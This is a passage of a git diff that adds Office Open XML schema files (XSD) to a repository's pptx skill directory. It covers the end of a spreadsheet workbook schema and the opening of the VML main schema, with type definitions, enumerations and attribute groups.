name="totalsRowCellStyle" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableFormula"> + <xsd:simpleContent> + <xsd:extension base="ST_Formula"> + <xsd:attribute name="array" type="xsd:boolean" default="false"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + <xsd:simpleType name="ST_TotalsRowFunction"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="sum"/> + <xsd:enumeration value="min"/> + <xsd:enumeration value="max"/> + <xsd:enumeration value="average"/> + <xsd:enumeration value="count"/> + <xsd:enumeration value="countNums"/> + <xsd:enumeration value="stdDev"/> + <xsd:enumeration value="var"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_XmlColumnPr"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="mapId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="xpath" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="denormalized" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="xmlDataType" type="ST_XmlDataType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_XmlDataType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:element name="volTypes" type="CT_VolTypes"/> + <xsd:complexType name="CT_VolTypes"> + <xsd:sequence> + <xsd:element name="volType" type="CT_VolType" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_VolType"> + <xsd:sequence> + <xsd:element name="main" type="CT_VolMain" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_VolDepType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_VolMain"> + <xsd:sequence> + <xsd:element name="tp" type="CT_VolTopic" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="first" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_VolTopic"> + <xsd:sequence> + <xsd:element name="v" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + <xsd:element name="stp" type="s:ST_Xstring" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="tr" type="CT_VolTopicRef" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="t" type="ST_VolValueType" use="optional" default="n"/> + </xsd:complexType> + <xsd:complexType name="CT_VolTopicRef"> + <xsd:attribute name="r" type="ST_CellRef" use="required"/> + <xsd:attribute name="s" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_VolDepType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="realTimeData"/> + <xsd:enumeration value="olapFunctions"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_VolValueType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="b"/> + <xsd:enumeration value="n"/> + <xsd:enumeration value="e"/> + <xsd:enumeration value="s"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="workbook" type="CT_Workbook"/> + <xsd:complexType name="CT_Workbook"> + <xsd:sequence> + <xsd:element name="fileVersion" type="CT_FileVersion" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fileSharing" type="CT_FileSharing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="workbookPr" type="CT_WorkbookPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="workbookProtection" type="CT_WorkbookProtection" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="bookViews" type="CT_BookViews" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheets" type="CT_Sheets" minOccurs="1" maxOccurs="1"/> + <xsd:element name="functionGroups" type="CT_FunctionGroups" minOccurs="0" maxOccurs="1"/> + <xsd:element name="externalReferences" type="CT_ExternalReferences" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="definedNames" type="CT_DefinedNames" minOccurs="0" maxOccurs="1"/> + <xsd:element name="calcPr" type="CT_CalcPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oleSize" type="CT_OleSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customWorkbookViews" type="CT_CustomWorkbookViews" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="pivotCaches" type="CT_PivotCaches" minOccurs="0" maxOccurs="1"/> + <xsd:element name="smartTagPr" type="CT_SmartTagPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="smartTagTypes" type="CT_SmartTagTypes" minOccurs="0" maxOccurs="1"/> + <xsd:element name="webPublishing" type="CT_WebPublishing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fileRecoveryPr" type="CT_FileRecoveryPr" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:element name="webPublishObjects" type="CT_WebPublishObjects" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="conformance" type="s:ST_ConformanceClass"/> + </xsd:complexType> + <xsd:complexType name="CT_FileVersion"> + <xsd:attribute name="appName" type="xsd:string" use="optional"/> + <xsd:attribute name="lastEdited" type="xsd:string" use="optional"/> + <xsd:attribute name="lowestEdited" type="xsd:string" use="optional"/> + <xsd:attribute name="rupBuild" type="xsd:string" use="optional"/> + <xsd:attribute name="codeName" type="s:ST_Guid" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_BookViews"> + <xsd:sequence> + <xsd:element name="workbookView" type="CT_BookView" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BookView"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="visibility" type="ST_Visibility" use="optional" default="visible"/> + <xsd:attribute name="minimized" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showHorizontalScroll" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showVerticalScroll" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showSheetTabs" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="xWindow" type="xsd:int" use="optional"/> + <xsd:attribute name="yWindow" type="xsd:int" use="optional"/> + <xsd:attribute name="windowWidth" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="windowHeight" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="tabRatio" type="xsd:unsignedInt" use="optional" default="600"/> + <xsd:attribute name="firstSheet" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="activeTab" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="autoFilterDateGrouping" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:simpleType name="ST_Visibility"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="visible"/> + <xsd:enumeration value="hidden"/> + <xsd:enumeration value="veryHidden"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_CustomWorkbookViews"> + <xsd:sequence> + <xsd:element name="customWorkbookView" minOccurs="1" maxOccurs="unbounded" + type="CT_CustomWorkbookView"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CustomWorkbookView"> + <xsd:sequence> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="autoUpdate" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="mergeInterval" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="changesSavedWin" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="onlySync" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="personalView" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="includePrintSettings" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="includeHiddenRowCol" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="maximized" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="minimized" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showHorizontalScroll" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showVerticalScroll" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showSheetTabs" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="xWindow" type="xsd:int" use="optional" default="0"/> + <xsd:attribute name="yWindow" type="xsd:int" use="optional" default="0"/> + <xsd:attribute name="windowWidth" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="windowHeight" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="tabRatio" type="xsd:unsignedInt" use="optional" default="600"/> + <xsd:attribute name="activeSheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="showFormulaBar" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showStatusbar" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showComments" type="ST_Comments" use="optional" default="commIndicator"/> + <xsd:attribute name="showObjects" type="ST_Objects" use="optional" default="all"/> + </xsd:complexType> + <xsd:simpleType name="ST_Comments"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="commNone"/> + <xsd:enumeration value="commIndicator"/> + <xsd:enumeration value="commIndAndComment"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Objects"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="all"/> + <xsd:enumeration value="placeholders"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Sheets"> + <xsd:sequence> + <xsd:element name="sheet" type="CT_Sheet" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Sheet"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="state" type="ST_SheetState" use="optional" default="visible"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_SheetState"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="visible"/> + <xsd:enumeration value="hidden"/> + <xsd:enumeration value="veryHidden"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_WorkbookPr"> + <xsd:attribute name="date1904" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showObjects" type="ST_Objects" use="optional" default="all"/> + <xsd:attribute name="showBorderUnselectedTables" type="xsd:boolean" use="optional" + default="true"/> + <xsd:attribute name="filterPrivacy" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="promptedSolutions" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showInkAnnotation" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="backupFile" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="saveExternalLinkValues" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="updateLinks" type="ST_UpdateLinks" use="optional" default="userSet"/> + <xsd:attribute name="codeName" type="xsd:string" use="optional"/> + <xsd:attribute name="hidePivotFieldList" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showPivotChartFilter" type="xsd:boolean" default="false"/> + <xsd:attribute name="allowRefreshQuery" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="publishItems" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="checkCompatibility" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoCompressPictures" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="refreshAllConnections" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="defaultThemeVersion" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_UpdateLinks"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="userSet"/> + <xsd:enumeration value="never"/> + <xsd:enumeration value="always"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SmartTagPr"> + <xsd:attribute name="embed" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="show" type="ST_SmartTagShow" use="optional" default="all"/> + </xsd:complexType> + <xsd:simpleType name="ST_SmartTagShow"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="all"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="noIndicator"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SmartTagTypes"> + <xsd:sequence> + <xsd:element name="smartTagType" type="CT_SmartTagType" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SmartTagType"> + <xsd:attribute name="namespaceUri" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="url" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_FileRecoveryPr"> + <xsd:attribute name="autoRecover" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="crashSave" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="dataExtractLoad" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="repairLoad" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CalcPr"> + <xsd:attribute name="calcId" type="xsd:unsignedInt"/> + <xsd:attribute name="calcMode" type="ST_CalcMode" use="optional" default="auto"/> + <xsd:attribute name="fullCalcOnLoad" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="refMode" type="ST_RefMode" use="optional" default="A1"/> + <xsd:attribute name="iterate" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="iterateCount" type="xsd:unsignedInt" use="optional" default="100"/> + <xsd:attribute name="iterateDelta" type="xsd:double" use="optional" default="0.001"/> + <xsd:attribute name="fullPrecision" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="calcCompleted" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="calcOnSave" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="concurrentCalc" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="concurrentManualCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="forceFullCalc" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_CalcMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="manual"/> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="autoNoTable"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RefMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="A1"/> + <xsd:enumeration value="R1C1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DefinedNames"> + <xsd:sequence> + <xsd:element name="definedName" type="CT_DefinedName" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DefinedName"> + <xsd:simpleContent> + <xsd:extension base="ST_Formula"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="comment" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="customMenu" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="description" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="help" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="statusBar" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="localSheetId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="function" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="vbProcedure" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="xlm" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="functionGroupId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="shortcutKey" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="publishToServer" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="workbookParameter" type="xsd:boolean" use="optional" default="false"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + <xsd:complexType name="CT_ExternalReferences"> + <xsd:sequence> + <xsd:element name="externalReference" type="CT_ExternalReference" minOccurs="1" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ExternalReference"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetBackgroundPicture"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotCaches"> + <xsd:sequence> + <xsd:element name="pivotCache" type="CT_PivotCache" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PivotCache"> + <xsd:attribute name="cacheId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FileSharing"> + <xsd:attribute name="readOnlyRecommended" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="userName" type="s:ST_Xstring"/> + <xsd:attribute name="reservationPassword" type="ST_UnsignedShortHex"/> + <xsd:attribute name="algorithmName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="hashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="saltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="spinCount" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_OleSize"> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_WorkbookProtection"> + <xsd:attribute name="workbookPassword" type="ST_UnsignedShortHex" use="optional"/> + <xsd:attribute name="workbookPasswordCharacterSet" type="xsd:string" use="optional"/> + <xsd:attribute name="revisionsPassword" type="ST_UnsignedShortHex" use="optional"/> + <xsd:attribute name="revisionsPasswordCharacterSet" type="xsd:string" use="optional"/> + <xsd:attribute name="lockStructure" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="lockWindows" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="lockRevision" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="revisionsAlgorithmName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="revisionsHashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="revisionsSaltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="revisionsSpinCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="workbookAlgorithmName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="workbookHashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="workbookSaltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="workbookSpinCount" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WebPublishing"> + <xsd:attribute name="css" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="thicket" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="longFileNames" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="vml" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="allowPng" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="targetScreenSize" type="ST_TargetScreenSize" use="optional" + default="800x600"/> + <xsd:attribute name="dpi" type="xsd:unsignedInt" use="optional" default="96"/> + <xsd:attribute name="codePage" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="characterSet" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TargetScreenSize"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="544x376"/> + <xsd:enumeration value="640x480"/> + <xsd:enumeration value="720x512"/> + <xsd:enumeration value="800x600"/> + <xsd:enumeration value="1024x768"/> + <xsd:enumeration value="1152x882"/> + <xsd:enumeration value="1152x900"/> + <xsd:enumeration value="1280x1024"/> + <xsd:enumeration value="1600x1200"/> + <xsd:enumeration value="1800x1440"/> + <xsd:enumeration value="1920x1200"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FunctionGroups"> + <xsd:sequence maxOccurs="unbounded"> + <xsd:element name="functionGroup" type="CT_FunctionGroup" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="builtInGroupCount" type="xsd:unsignedInt" default="16" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_FunctionGroup"> + <xsd:attribute name="name" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_WebPublishObjects"> + <xsd:sequence> + <xsd:element name="webPublishObject" type="CT_WebPublishObject" minOccurs="1" + maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WebPublishObject"> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="divId" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="sourceObject" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="destinationFile" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="title" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="autoRepublish" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd new file mode 100644 index 00000000..8821dd18 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd @@ -0,0 +1,570 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" + xmlns:pvml="urn:schemas-microsoft-com:office:powerpoint" + xmlns:o="urn:schemas-microsoft-com:office:office" + xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + xmlns:w10="urn:schemas-microsoft-com:office:word" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:x="urn:schemas-microsoft-com:office:excel" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="urn:schemas-microsoft-com:vml" elementFormDefault="qualified" + attributeFormDefault="unqualified"> + <xsd:import namespace="urn:schemas-microsoft-com:office:office" + schemaLocation="vml-officeDrawing.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + schemaLocation="wml.xsd"/> + <xsd:import namespace="urn:schemas-microsoft-com:office:word" + schemaLocation="vml-wordprocessingDrawing.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="urn:schemas-microsoft-com:office:excel" + schemaLocation="vml-spreadsheetDrawing.xsd"/> + <xsd:import namespace="urn:schemas-microsoft-com:office:powerpoint" + schemaLocation="vml-presentationDrawing.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:attributeGroup name="AG_Id"> + <xsd:attribute name="id" type="xsd:string" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Style"> + <xsd:attribute name="style" type="xsd:string" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Type"> + <xsd:attribute name="type" type="xsd:string" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Adj"> + <xsd:attribute name="adj" type="xsd:string" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Path"> + <xsd:attribute name="path" type="xsd:string" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Fill"> + <xsd:attribute name="filled" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="fillcolor" type="s:ST_ColorType" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Chromakey"> + <xsd:attribute name="chromakey" type="s:ST_ColorType" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_Ext"> + <xsd:attribute name="ext" form="qualified" type="ST_Ext"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_CoreAttributes"> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attributeGroup ref="AG_Style"/> + <xsd:attribute name="href" type="xsd:string" use="optional"/> + <xsd:attribute name="target" type="xsd:string" use="optional"/> + <xsd:attribute name="class" type="xsd:string" use="optional"/> + <xsd:attribute name="title" type="xsd:string" use="optional"/> + <xsd:attribute name="alt" type="xsd:string" use="optional"/> + <xsd:attribute name="coordsize" type="xsd:string" use="optional"/> + <xsd:attribute name="coordorigin" type="xsd:string" use="optional"/> + <xsd:attribute name="wrapcoords" type="xsd:string" use="optional"/> + <xsd:attribute name="print" type="s:ST_TrueFalse" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_ShapeAttributes"> + <xsd:attributeGroup ref="AG_Chromakey"/> + <xsd:attributeGroup ref="AG_Fill"/> + <xsd:attribute name="opacity" type="xsd:string" use="optional"/> + <xsd:attribute name="stroked" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="strokecolor" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="strokeweight" type="xsd:string" use="optional"/> + <xsd:attribute name="insetpen" type="s:ST_TrueFalse" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_OfficeCoreAttributes"> + <xsd:attribute ref="o:spid"/> + <xsd:attribute ref="o:oned"/> + <xsd:attribute ref="o:regroupid"/> + <xsd:attribute ref="o:doubleclicknotify"/> + <xsd:attribute ref="o:button"/> + <xsd:attribute ref="o:userhidden"/> + <xsd:attribute ref="o:bullet"/> + <xsd:attribute ref="o:hr"/> + <xsd:attribute ref="o:hrstd"/> + <xsd:attribute ref="o:hrnoshade"/> + <xsd:attribute ref="o:hrpct"/> + <xsd:attribute ref="o:hralign"/> + <xsd:attribute ref="o:allowincell"/> + <xsd:attribute ref="o:allowoverlap"/> + <xsd:attribute ref="o:userdrawn"/> + <xsd:attribute ref="o:bordertopcolor"/> + <xsd:attribute ref="o:borderleftcolor"/> + <xsd:attribute ref="o:borderbottomcolor"/> + <xsd:attribute ref="o:borderrightcolor"/> + <xsd:attribute ref="o:dgmlayout"/> + <xsd:attribute ref="o:dgmnodekind"/> + <xsd:attribute ref="o:dgmlayoutmru"/> + <xsd:attribute ref="o:insetmode"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_OfficeShapeAttributes"> + <xsd:attribute ref="o:spt"/> + <xsd:attribute ref="o:connectortype"/> + <xsd:attribute ref="o:bwmode"/> + <xsd:attribute ref="o:bwpure"/> + <xsd:attribute ref="o:bwnormal"/> + <xsd:attribute ref="o:forcedash"/> + <xsd:attribute ref="o:oleicon"/> + <xsd:attribute ref="o:ole"/> + <xsd:attribute ref="o:preferrelative"/> + <xsd:attribute ref="o:cliptowrap"/> + <xsd:attribute ref="o:clip"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_AllCoreAttributes"> + <xsd:attributeGroup ref="AG_CoreAttributes"/> + <xsd:attributeGroup ref="AG_OfficeCoreAttributes"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_AllShapeAttributes"> + <xsd:attributeGroup ref="AG_ShapeAttributes"/> + <xsd:attributeGroup ref="AG_OfficeShapeAttributes"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_ImageAttributes"> + <xsd:attribute name="src" type="xsd:string" use="optional"/> + <xsd:attribute name="cropleft" type="xsd:string" use="optional"/> + <xsd:attribute name="croptop" type="xsd:string" use="optional"/> + <xsd:attribute name="cropright" type="xsd:string" use="optional"/> + <xsd:attribute name="cropbottom" type="xsd:string" use="optional"/> + <xsd:attribute name="gain" type="xsd:string" use="optional"/> + <xsd:attribute name="blacklevel" type="xsd:string" use="optional"/> + <xsd:attribute name="gamma" type="xsd:string" use="optional"/> + <xsd:attribute name="grayscale" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="bilevel" type="s:ST_TrueFalse" use="optional"/> + </xsd:attributeGroup> + <xsd:attributeGroup name="AG_StrokeAttributes"> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="weight" type="xsd:string" use="optional"/> + <xsd:attribute name="color" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="opacity" type="xsd:string" use="optional"/> + <xsd:attribute name="linestyle" type="ST_StrokeLineStyle" use="optional"/> + <xsd:attribute name="miterlimit" type="xsd:decimal" use="optional"/> + <xsd:attribute name="joinstyle" type="ST_StrokeJoinStyle" use="optional"/> + <xsd:attribute name="endcap" type="ST_StrokeEndCap" use="optional"/> + <xsd:attribute name="dashstyle" type="xsd:string" use="optional"/> + <xsd:attribute name="filltype" type="ST_FillType" use="optional"/> + <xsd:attribute name="src" type="xsd:string" use="optional"/> + <xsd:attribute name="imageaspect" type="ST_ImageAspect" use="optional"/> + <xsd:attribute name="imagesize" type="xsd:string" use="optional"/> + <xsd:attribute name="imagealignshape" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="color2" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="startarrow" type="ST_StrokeArrowType" use="optional"/> + <xsd:attribute name="startarrowwidth" type="ST_StrokeArrowWidth" use="optional"/> + <xsd:attribute name="startarrowlength" 